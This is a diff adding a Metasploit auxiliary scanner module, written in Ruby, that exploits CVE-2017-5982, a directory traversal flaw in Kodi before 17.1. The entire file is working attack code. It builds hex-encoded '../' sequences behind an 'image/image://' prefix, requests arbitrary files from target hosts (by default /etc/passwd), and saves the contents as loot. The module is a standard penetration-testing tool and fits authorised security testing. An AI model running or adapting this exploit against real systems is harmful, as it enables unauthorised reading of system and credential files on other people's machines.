|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Kodi 17.0 Local File Inclusion Vulnerability', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a directory traversal flaw found in Kodi before 17.1. |
| 19 | + }, |
| 20 | + 'References' => |
| 21 | + [ |
| 22 | + ['CVE', '2017-5982'], |
| 23 | + ], |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Eric Flokstra', #Original |
| 27 | + 'jvoisin' |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'DisclosureDate' => "Feb 12 2017" |
| 31 | + )) |
| 32 | + |
| 33 | + register_options( |
| 34 | + [ |
| 35 | + OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), |
| 36 | + OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']), |
| 37 | + OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) |
| 38 | + ], self.class) |
| 39 | + end |
| 40 | + |
| 41 | + |
| 42 | + def run_host(ip) |
| 43 | + base = normalize_uri(target_uri.path) |
| 44 | + |
| 45 | + peer = "#{ip}:#{rport}" |
| 46 | + |
| 47 | + print_status("Reading '#{datastore['FILE']}'") |
| 48 | + |
| 49 | + traverse = '../' * datastore['DEPTH'] |
| 50 | + f = datastore['FILE'] |
| 51 | + f = f[1, f.length] if f =~ /^\// |
| 52 | + f = "image/image://" + Rex::Text.uri_encode(traverse + f, "hex-all") |
| 53 | + |
| 54 | + uri = normalize_uri(base, Rex::Text.uri_encode(f, "hex-all")) |
| 55 | + res = send_request_cgi({ |
| 56 | + 'method' => 'GET', |
| 57 | + 'uri' => uri |
| 58 | + }) |
| 59 | + |
| 60 | + if res and res.code != 200 |
| 61 | + print_error("Unable to read '#{datastore['FILE']}', possibily because:") |
| 62 | + print_error("\t1. File does not exist.") |
| 63 | + print_error("\t2. No permission.") |
| 64 | + |
| 65 | + elsif res and res.code == 200 |
| 66 | + data = res.body.lstrip |
| 67 | + fname = datastore['FILE'] |
| 68 | + p = store_loot( |
| 69 | + 'kodi', |
| 70 | + 'application/octet-stream', |
| 71 | + ip, |
| 72 | + data, |
| 73 | + fname |
| 74 | + ) |
| 75 | + |
| 76 | + vprint_line(data) |
| 77 | + print_good("#{fname} stored as '#{p}'") |
| 78 | + |
| 79 | + else |
| 80 | + print_error('Fail to obtain file for some unknown reason') |
| 81 | + end |
| 82 | + end |
| 83 | + |
| 84 | +end |
0 commit comments